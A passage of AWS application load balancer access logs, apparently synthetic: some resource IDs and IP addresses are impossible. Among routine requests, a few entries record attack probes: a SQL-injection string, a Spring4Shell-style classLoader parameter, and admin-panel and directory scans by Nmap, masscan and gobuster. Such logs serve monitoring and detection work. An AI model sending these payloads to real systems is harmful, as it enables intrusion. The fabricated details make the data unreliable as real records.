arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5c-9bfdb0cf0eb945ec9754c46c" "staging-alb.example.com" "-" 2 2024-11-01T02:49:48.643079Z "forward" "-" "-" "166.112.61.155:443" "200" "-" "-" -https 2024-11-01T02:49:50.337596Z prod-api-alb 193.27.228.118:37530 10.0.187.83:443 0.002396 0.266406 0.032054 302 302 13 1751 "POST /phpmyadmin HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df5e-b8863fd1646f4fde8728d079" "-" "-" 4 2024-11-01T02:49:50.337596Z "forward" "-" "-" "10.0.187.83:443" "302" "-" "-" -http 2024-11-01T02:49:50.538342Z staging-alb 249.247.146.20:64755 13.218.205.153:443 0.135867 0.028952 0.016593 301 301 263 3089 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5e-976c9855aca14c6596d4632a" "staging-alb.example.com" "-" 0 2024-11-01T02:49:50.538342Z "forward" "-" "-" "13.218.205.153:443" "301" "-" "-" -https 2024-11-01T02:49:51.877386Z prod-web-alb 148.211.206.239:54283 10.0.246.48:443 0.065329 0.429980 0.001624 200 200 646 8943 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df5f-30d26e433f374a26a8a5573b" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:51.877386Z "forward" "-" "-" "10.0.246.48:443" "200" "-" "-" -https 2024-11-01T02:49:52.554472Z prod-api-alb 228.22.0.79:29842 10.0.8.56:443 0.022640 0.127028 0.077706 301 301 404 8798 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df60-2a627e9f678c4748822a1cde" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:52.554472Z "forward" "-" "-" "10.0.8.56:443" "301" "-" "-" -https 2024-11-01T02:49:53.861175Z prod-web-alb 11.42.228.6:48088 10.0.70.56:443 0.070829 0.225369 0.070167 200 200 793 14444 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df61-e54e2f23c2a54283a934bf5e" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:53.861175Z "forward" "-" "-" "10.0.70.56:443" "200" "-" "-" -https 2024-11-01T02:49:54.137862Z prod-api-alb 118.42.72.172:51490 10.0.77.159:443 0.092996 0.473182 0.034827 200 200 676 10139 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df62-270b82a13fce4b5ba8f53658" "prod-api-alb.example.com" "-" 2 2024-11-01T02:49:54.137862Z "forward" "-" "-" "10.0.77.159:443" "200" "-" "-" -https 2024-11-01T02:49:55.604791Z staging-alb 110.136.73.16:28135 99.208.78.248:443 0.039429 0.743212 0.144055 302 302 2 6143 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df63-74a6c60706a14c6994b42b96" "staging-alb.example.com" "-" 7 2024-11-01T02:49:55.604791Z "forward" "-" "-" "99.208.78.248:443" "302" "-" "-" -https 2024-11-01T02:49:56.564550Z staging-alb 44.193.166.144:20814 99.5.102.4:80 0.143964 0.334569 0.133378 302 302 133 12417 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df64-afdb4c077a4f4d1788793f98" "staging-alb.example.com" "-" 1 2024-11-01T02:49:56.564550Z "forward" "-" "-" "99.5.102.4:80" "302" "-" "-" -https 2024-11-01T02:49:57.419150Z prod-api-alb 182.160.160.238:62579 10.0.163.88:443 0.089201 0.040971 0.093840 301 301 971 12221 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df65-7a79385fd40b4e59abca28c0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:49:57.419150Z "forward" "-" "-" "10.0.163.88:443" "301" "-" "-" -http 2024-11-01T02:49:58.706226Z staging-alb 156.47.246.181:35423 252.221.19.152:443 0.027709 0.132901 0.068287 200 200 339 4165 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df66-ae8f39756b2945e7a3d3016e" "staging-alb.example.com" "-" 3 2024-11-01T02:49:58.706226Z "forward" "-" "-" "252.221.19.152:443" "200" "-" "-" -https 2024-11-01T02:50:00.673597Z prod-web-alb 200.155.236.231:22782 10.0.53.183:443 0.017084 0.353199 0.092746 302 302 721 6316 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df68-3dcb1e059b7e44f2b915c722" "prod-web-alb.example.com" "-" 2 2024-11-01T02:50:00.673597Z "forward" "-" "-" "10.0.53.183:443" "302" "-" "-" -https 2024-11-01T02:50:01.280377Z prod-web-alb 96.107.197.208:28619 10.0.232.91:443 0.081949 0.127700 0.030007 200 200 497 9331 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df69-35e1b13cdd30450bb23b3724" "prod-web-alb.example.com" "-" 8 2024-11-01T02:50:01.280377Z "forward" "-" "-" "10.0.232.91:443" "200" "-" "-" -https 2024-11-01T02:50:02.731198Z prod-web-alb 124.9.189.9:57487 10.0.42.112:443 0.000027 0.247715 0.037479 200 200 146 5940 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df6a-e843942c57a04f0cbc794a82" "prod-web-alb.example.com" "-" 6 2024-11-01T02:50:02.731198Z "forward" "-" "-" "10.0.42.112:443" "200" "-" "-" -http 2024-11-01T02:50:02.898338Z staging-alb 148.77.249.5:50401 219.103.130.19:80 0.064160 0.173206 0.003208 404 404 197 8974 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6a-21c4e36c17744c6dbb2d61b3" "staging-alb.example.com" "-" 0 2024-11-01T02:50:02.898338Z "forward" "-" "-" "219.103.130.19:80" "404" "-" "-" -https 2024-11-01T02:50:03.461906Z staging-alb 106.236.40.205:34082 130.219.229.178:443 0.126241 0.375507 0.041824 301 301 716 7860 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6b-a22526a062e74fdba13a9654" "staging-alb.example.com" "-" 4 2024-11-01T02:50:03.461906Z "forward" "-" "-" "130.219.229.178:443" "301" "-" "-" -https 2024-11-01T02:50:03.708886Z staging-alb 0.68.23.125:10240 143.235.2.249:80 0.040185 0.581835 0.140509 200 200 971 661 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df6b-3db76959006646f7adfc14f0" "staging-alb.example.com" "-" 1 2024-11-01T02:50:03.708886Z "forward" "-" "-" "143.235.2.249:80" "200" "-" "-" -https 2024-11-01T02:50:04.410831Z prod-web-alb 34.157.180.190:58605 10.0.22.214:443 0.072727 0.144729 0.034422 200 200 498 7055 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df6c-a7631811b9bd4981b47089b1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:50:04.410831Z "forward" "-" "-" "10.0.22.214:443" "200" "-" "-" -https 2024-11-01T02:50:04.982957Z prod-web-alb 82.142.186.7:34047 10.0.63.19:443 0.074656 0.109493 0.028857 200 200 973 12796 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df6c-678840f1574f43f18a4ca46c" "prod-web-alb.example.com" "-" 10 2024-11-01T02:50:04.982957Z "forward" "-" "-" "10.0.63.19:443" "200" "-" "-" -https 2024-11-01T02:50:06.371124Z staging-alb 185.181.125.99:45896 87.46.80.85:8080 0.108656 0.057587 0.016579 500 500 564 14940 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6e-900e0e6098a34be0a9077a6f" "-" "-" 8 2024-11-01T02:50:06.371124Z "forward" "-" "-" "87.46.80.85:8080" "500" "-" "-" -https 2024-11-01T02:50:07.053045Z prod-api-alb 199.165.228.78:56905 10.0.154.32:443 0.057623 0.245186 0.088070 200 200 220 13421 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df6f-55b026fc841b42cabbe8b820" "prod-api-alb.example.com" "-" 8 2024-11-01T02:50:07.053045Z "forward" "-" "-" "10.0.154.32:443" "200" "-" "-" -https 2024-11-01T02:50:07.836407Z prod-api-alb 243.196.17.78:48223 10.0.74.244:443 0.088922 0.344508 0.084160 302 302 343 5230 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df6f-a998f3a367244572a9d4cdfc" "prod-api-alb.example.com" "-" 8 2024-11-01T02:50:07.836407Z "forward" "-" "-" "10.0.74.244:443" "302" "-" "-" -https 2024-11-01T02:50:07.939565Z prod-web-alb 56.62.110.11:33399 10.0.90.147:443 0.009695 0.107594 0.028092 200 200 863 7057 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df6f-8596b943f37d47d29c58ae1b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:50:07.939565Z "forward" "-" "-" "10.0.90.147:443" "200" "-" "-" -https 2024-11-01T02:50:08.658778Z staging-alb 45.155.205.176:11939 45.225.119.196:443 0.132849 0.663294 0.103550 404 404 519 5141 "GET /server-status HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df70-96b64a4c8b5b4b4cbcbce32e" "-" "-" 2 2024-11-01T02:50:08.658778Z "forward" "-" "-" "45.225.119.196:443" "404" "-" "-" -https 2024-11-01T02:50:09.974124Z prod-api-alb 186.72.154.49:59359 10.0.68.85:443 0.050185 0.329390 0.066725 200 200 911 368 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df71-42644d8438ac42549d2b759d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:09.974124Z "forward" "-" "-" "10.0.68.85:443" "200" "-" "-" -https 2024-11-01T02:50:10.233775Z prod-api-alb 146.221.248.173:43760 10.0.72.29:443 0.066386 0.407963 0.043915 200 200 547 4008 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df72-661b201c70154a6d8228709e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:10.233775Z "forward" "-" "-" "10.0.72.29:443" "200" "-" "-" -http 2024-11-01T02:50:11.459566Z staging-alb 133.76.39.173:17921 33.147.84.194:443 0.094323 0.441699 0.089391 200 200 752 12509 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df73-197778be0abc4fa3942d0a82" "staging-alb.example.com" "-" 9 2024-11-01T02:50:11.459566Z "forward" "-" "-" "33.147.84.194:443" "200" "-" "-" -https 2024-11-01T02:50:11.963546Z prod-web-alb 25.209.150.12:41807 10.0.225.102:443 0.043177 0.428221 0.065971 200 200 824 6337 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df73-ef10f2c7372f4bc4894e8a16" "prod-web-alb.example.com" "-" 0 2024-11-01T02:50:11.963546Z "forward" "-" "-" "10.0.225.102:443" "200" "-" "-" -https 2024-11-01T02:50:12.636361Z prod-api-alb 5.202.244.93:57886 10.0.41.114:443 0.064606 0.183370 0.064268 200 200 383 10982 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df74-7ef5e82a301f46c0af2750f5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:50:12.636361Z "forward" "-" "-" "10.0.41.114:443" "200" "-" "-" -https 2024-11-01T02:50:13.341070Z prod-api-alb 185.181.21.23:50553 10.0.215.182:443 0.053686 0.166106 0.030640 500 500 730 9280 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df75-4dc99f3a14ee4795ab1cb802" "-" "-" 8 2024-11-01T02:50:13.341070Z "forward" "-" "-" "10.0.215.182:443" "500" "-" "-" -https 2024-11-01T02:50:14.777689Z staging-alb 118.66.86.200:39590 56.77.23.240:80 0.067765 0.608856 0.108747 200 200 214 1627 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df76-7da688a0cf164534a8175780" "staging-alb.example.com" "-" 3 2024-11-01T02:50:14.777689Z "forward" "-" "-" "56.77.23.240:80" "200" "-" "-" -http 2024-11-01T02:50:16.145586Z staging-alb 170.220.131.167:32452 4.252.17.139:443 0.066884 0.549465 0.079790 302 302 650 9371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df78-d5345dc7a5e94e28bff037c6" "staging-alb.example.com" "-" 1 2024-11-01T02:50:16.145586Z "forward" "-" "-" "4.252.17.139:443" "302" "-" "-" -https 2024-11-01T02:50:16.625848Z staging-alb 226.57.18.227:59501 119.152.17.139:8080 0.110221 0.677390 0.076791 301 301 278 1945 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df78-60d2fdcccad748edafb1da1a" "-" "-" 0 2024-11-01T02:50:16.625848Z "forward" "-" "-" "119.152.17.139:8080" "301" "-" "-" -https 2024-11-01T02:50:17.220463Z prod-api-alb 55.254.50.129:57150 10.0.39.135:443 0.050086 0.152693 0.017940 200 200 346 7234 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df79-405ed30a0fc84aa9819a8d3c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:50:17.220463Z "forward" "-" "-" "10.0.39.135:443" "200" "-" "-" -https 2024-11-01T02:50:17.672467Z prod-api-alb 188.20.213.11:35173 10.0.207.212:443 0.063015 0.340013 0.042817 200 200 241 14253 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df79-a1ebdead2ec1467e8aef6dfd" "prod-api-alb.example.com" "-" 3 2024-11-01T02:50:17.672467Z "forward" "-" "-" "10.0.207.212:443" "200" "-" "-" -https 2024-11-01T02:50:19.175851Z prod-api-alb 193.27.228.79:59717 10.0.54.188:443 0.073839 0.193513 0.002954 301 301 507 6259 "POST /adminer.php HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df7b-a5cff5cdfa3f4d2ba8a75bec" "-" "-" 1 2024-11-01T02:50:19.175851Z "forward" "-" "-" "10.0.54.188:443" "301" "-" "-" -https 2024-11-01T02:50:19.610113Z staging-alb 217.167.45.7:20864 163.62.9.48:8080 0.075143 0.615737 0.065136 301 301 892 10201 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df7b-12e2f01c6f1142ec8eb17961" "staging-alb.example.com" "-" 9 2024-11-01T02:50:19.610113Z "forward" "-" "-" "163.62.9.48:8080" "301" "-" "-" -http 2024-11-01T02:50:19.867965Z staging-alb 75.44.19.4:23278 116.116.43.58:8080 0.080192 0.651821 0.067633 200 200 867 7209 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df7b-d32ea45af73a43ba81a64b04" "staging-alb.example.com" "-" 2 2024-11-01T02:50:19.867965Z "forward" "-" "-" "116.116.43.58:8080" "200" "-" "-" -https 2024-11-01T02:50:21.791723Z staging-alb 95.194.221.80:47741 210.206.144.186:443 0.133780 0.470130 0.031474 200 200 638 10787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df7d-c5682e07cdcd4264a5e20adb" "staging-alb.example.com" "-" 6 2024-11-01T02:50:21.791723Z "forward" "-" "-" "210.206.144.186:443" "200" "-" "-" -https 2024-11-01T02:50:22.693483Z prod-web-alb 139.15.5.93:58240 10.0.113.243:443 0.090303 0.114344 0.060878 404 404 51 6062 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df7e-192c4d085d1c4e46bfd25adf" "prod-web-alb.example.com" "-" 7 2024-11-01T02:50:22.693483Z "forward" "-" "-" "10.0.113.243:443" "404" "-" "-" -https 2024-11-01T02:50:24.463202Z staging-alb 2.6.24.75:46416 68.83.111.254:80 0.146389 0.410471 0.010214 200 200 182 9402 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df80-fe3bca64015644a7bb948de4" "staging-alb.example.com" "-" 10 2024-11-01T02:50:24.463202Z "forward" "-" "-" "68.83.111.254:80" "200" "-" "-" -https 2024-11-01T02:50:25.696303Z staging-alb 223.103.189.15:46315 162.97.92.58:80 0.116585 0.542540 0.066624 302 302 454 1706 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df81-2a581a5663f841c5abcc004a" "staging-alb.example.com" "-" 6 2024-11-01T02:50:25.696303Z "forward" "-" "-" "162.97.92.58:80" "302" "-" "-" -https 2024-11-01T02:50:27.310814Z prod-api-alb 183.111.25.59:13264 10.0.30.178:443 0.012925 0.199850 0.007359 200 200 566 12692 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df83-0f1d1a1ee6de4665ad146c25" "prod-api-alb.example.com" "-" 6 2024-11-01T02:50:27.310814Z "forward" "-" "-" "10.0.30.178:443" "200" "-" "-" -https 2024-11-01T02:50:28.693707Z prod-api-alb 101.11.30.198:48183 10.0.60.169:443 0.077701 0.111770 0.058360 200 200 127 4935 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df84-75efdb3d7943425c939fc2bf" "prod-api-alb.example.com" "-" 6 2024-11-01T02:50:28.693707Z "forward" "-" "-" "10.0.60.169:443" "200" "-" "-" -https 2024-11-01T02:50:29.834445Z prod-api-alb 142.57.78.217:37288 10.0.251.121:443 0.083380 0.421069 0.003315 301 301 406 7561 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df85-3fa92d460da34f868fe9ceac" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:29.834445Z "forward" "-" "-" "10.0.251.121:443" "301" "-" "-" -https 2024-11-01T02:50:30.068356Z staging-alb 216.61.8.250:19947 177.79.107.190:8080 0.044836 0.403868 0.112647 301 301 230 2464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df86-1cce66c25912494eb51041cc" "staging-alb.example.com" "-" 1 2024-11-01T02:50:30.068356Z "forward" "-" "-" "177.79.107.190:8080" "301" "-" "-" -https 2024-11-01T02:50:31.520743Z prod-web-alb 48.112.115.130:59091 10.0.181.141:443 0.076890 0.027199 0.005289 301 301 733 675 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df87-f8beff2becf74f7aba6b3450" "prod-web-alb.example.com" "-" 2 2024-11-01T02:50:31.520743Z "forward" "-" "-" "10.0.181.141:443" "301" "-" "-" -https 2024-11-01T02:50:33.065795Z prod-api-alb 158.200.48.222:33301 10.0.209.104:443 0.059478 0.084183 0.071448 200 200 509 13322 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df89-e38b6a51797b4a03a2603f11" "prod-api-alb.example.com" "-" 7 2024-11-01T02:50:33.065795Z "forward" "-" "-" "10.0.209.104:443" "200" "-" "-" -https 2024-11-01T02:50:35.016303Z prod-api-alb 224.223.4.149:22537 10.0.209.94:443 0.030992 0.005442 0.044608 200 200 